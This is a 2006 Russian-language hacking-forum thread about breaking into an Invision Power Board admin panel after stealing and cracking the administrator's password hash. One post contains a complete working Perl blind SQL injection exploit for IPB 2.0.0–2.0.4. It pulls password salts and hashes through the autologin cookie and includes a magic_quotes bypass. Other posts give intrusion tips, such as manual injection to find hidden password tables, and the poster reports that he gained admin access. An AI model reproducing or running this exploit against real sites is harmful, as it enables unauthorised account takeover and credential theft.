Форумы Не подходит расшифрованный пас к админке IPB.

Discussion in 'Уязвимости CMS/форумов' started by ProblemaT, 6 Feb 2006.

  1. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    Сплойтом от сoyla сразу утащил хеш мд5, :)

    расшифровал пароль:12345 (странновато).

    Пытаюсь зайти в админку.... Засада :mad: .....

    Форум мне отвечает, что пароль то я неверный ввёл..:confused:


    Кто что может сказать по этой теме? :rolleyes: :




    З.Ы. По теме снизу от меня. Модерам... Нельзя же блин так редактировать тему...(темболее уже после того как я написал что она не актуальна) или это прикол такой у вас я хз... Не хрена я не просил помогать, а спросил: "сплойт я неверно исправил или что".... И после того как чел написал что дело в сплойте я застучал ему в асю...Вот... А то что вы написали этож блин как унижение звучит...
    Если чо не так сказал извините....
     
    #1 ProblemaT, 6 Feb 2006
    Last edited: 6 Feb 2006
  2. Azazel

    Azazel Заведующий всем

    Joined:
    17 Apr 2005
    Messages:
    918
    Likes Received:
    213
    Reputations:
    154
    Темы редактировать надо, потому что из названия темы должно быть понятно о чём речь в топике. И не только автору, а всем кто читает форум. Посмотри как ты назвал этот топик "Чё за борода такая с ipb?" Ты считаешь что понятно о чём речь в топике?
    И прочти правила раздела.

    По теме: Проверь member id админа.
     
  3. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    Ну лана всё понял впредь не повторюсь... ;)
     
  4. Desr0w

    Desr0w Banned

    Joined:
    1 Feb 2006
    Messages:
    370
    Likes Received:
    166
    Reputations:
    45
    У меня была тема,что не мог зайти под админом.Пробни зайти через админку
    anyhost/forum/admin.php
    у меня срабатывало.
     
  5. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    Сверху ведь написанно... Я так и пробывал...
     
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Скорее всего админ вручную поправил исходники, создал фейковую таблицу паролей в мускуле. Так что ковыряй вручную инъекцией и да поможет тебе интуиция угадать название таблицы.
     
  7. ~en$laved~

    ~en$laved~ New Member

    Joined:
    4 Jan 2006
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    было два случая, пароли 4х -символьные - что само по себе бредово, видимо делалось это вручную, очень удивился как админ там из 3х букв чего не написал, так что
    думаю Elekt прав.
     
  8. :Defender

    :Defender New Member

    Joined:
    6 Feb 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    А вы никто не думали, что админ пароль сменил?)
     
  9. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    Ох ты какой умный=) Не думали...
    Я сначала другим сплойтом получил админский солёный хеш и захожу на форум под ником админа, еслиб он пасс сменил такое бы хер вышло...
     
  10. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    А если переделать сплойт coyla так, чтобы он не тянул первый хеш, а сразу начинал с соли... Наверное далжно сработать...

    Я в пёрле не врубаюсь кому не западло переделайте, если такое возможно...

    Вот собственно сам сплойт...

    HTML:
    #!/usr/bin/perl
    
    ## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team.
    ## for stealing converge_pass_salt value from ipb database
    ## on some ipb forums it steals the legacy_password which is the first md5
    ## hash of the target password.
    ## vulnerable forum versions : 2.* (<2.0.4)
    ## tested on version 2.0.2
    ## * work on mysql 4.0, 4.1 versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## coded by Coyl
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## screen:
    ## ~~~~~~~
    ##  /ipb.pl 127.0.0.1 /fo/ 1
    ## [~]         SERVER : 127.0.0.1
    ## [~]           PATH : /fo/
    ## [~]      MEMBER ID : 1
    ## [~] VALUE TO STEAL :
    ## [~] SEARCHING THE EASIEST WAY... [ FAILED ]
    ## [~] SEARCHING THE SALT [\5][ DONE ]
    ##
    ##        SALT : UoU1o
    ##
    ## [~] SEARCHING THE PASS HASH [/32][ DONE ]
    ##
    ##        PASS HASH : 1ab2bc1f32f231f234313444233d
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    use IO::Socket;
    
    if (@ARGV < 3) { &usage; }
    
    $enum=0;
    $cookie = 1;
    $server    = $ARGV[0];
    $path      = $ARGV[1];
    $member_id = $ARGV[2];
    $prefix = ($ARGV[3])?($ARGV[3]):("ibf_");
    
    
    
    $server =~ s!(http:\/\/)!!;
    
    $request  = 'http://';
    $request .= $server;
    $request .= $path;
    
    $s_num = 1;
    $|++;
    $n = 0;
    
    print "[~]         SERVER : $server\r\n";
    print "[~]           PATH : $path\r\n";
    print "[~]      MEMBER ID : $member_id\r\n";
    print "[~] VALUE TO STEAL : \r\n";
    print "[~] SEARCHING THE EASIEST WAY... [|0]";
    
    	($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $flag=0;
    $field=1;
    LOOP: while(1)
    {
    	$pass = ($field)?('converge_pass_hash'):('converge_pass_salt');
    
    	if($field) { if(&found(96,123)==0) { &found(47,58)}}
    	if(!$field&&$flag) { &found(33,126) }
    
    	$char = $i;
    
    	if ($char=="0")
     		{
     		if(length($allchar) > 0){
     			print qq{[ DONE ]
    };
     			if (!$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";}
    			else
    			{
    				print (($field)?("\r\n	PASS HASH : "):("\r\n	SALT : "));
     				print $allchar."\r\n\r\n";
    				$allchar='';
    				$enum=0;
    				$s_num=1;
    				$field++;
    				if (!($field==2)){print "[~] SEARCHING THE PASS HASH [|0]"; redo LOOP};
    			}
     		}
     		else
     		{
    			if (!$flag)
    				{
     				print "$back FAILED ]\r\n";
    				print "[~] SEARCHING THE SALT [|0]";
    				$flag=1;
    				$field=0;
    				redo LOOP;
    				}
    			if ($flag)
    				{
    				print "$back FAILED ]\r\n";
    				}
     		}
     		exit();
     		}
    	else
     		{            $allchar .= chr($char);
    		$enum++;
     		}
    $s_num++;
    }
    
    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     if (($fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; }
    
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = " BETWEEN $r AND $fmax";
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r); }
     }
    
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     $i = 0;
     return $i;
     }
    
    sub check($)
     {
     $n++;
     status();
     $ccheck = $_[0];
     $non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D";
     $eas="1%2527+OR+%28id%3D";
     $pass_hash1 = ($flag)?($non):($eas);
     $pass_hash2 = "+AND+ascii%28substring%28";
     $pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*";
     $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
     $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
    
     printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n",
     $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3);
    
     while(<$socket>)
      {
      if (/Set-Cookie: session_id=0;/) {
       return 1; }
      }
    
    
     return 0;
     }
    
    sub status()
    {
      $status = $n % 5;
    	if ($enum<10) {$back="\b\b\b";}
    	else {$back="\b\b\b\b"};
      if($status==0){ print "$back\\$enum]"; }
      if($status==1){ print "$back-$enum]"; }
      if($status==2){ print "$back/$enum]"; }
      if($status==3){ print "$back|$enum]"; }
    }
    
    sub usage()
     {
     print q(
     Invision Power Board v 2.0.0 - 2.0.4 SQL injection exploit modified
     --------------------------------------------------------------------
     USAGE:
     ~~~~~~
     r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal]
    
     [server]   - host where IPB installed
     [/folder/] - folder where IPB installed
     [member_id]- user id for brute
     [prefix]   - database prefix \(ibf_ by default\)
    
     e.g. ipb.pl 127.0.0.1 / 1 ipb_
     --------------------------------------------------------------------
     coded by Coyl. CiaNeeD team.
     --------------------------------------------------------------------
     greets to 1dt.w0lf RST/GHC , http://rst.void.ru , http://ghc.ru
     --------------------------------------------------------------------
     );
     exit();
     }
    
     
  11. ProblemaT

    ProblemaT New Member

    Joined:
    16 Dec 2005
    Messages:
    42
    Likes Received:
    1
    Reputations:
    0
    Всё в админку вашёл=)...

    Все спасибо за внимание...

    Тема закрыта....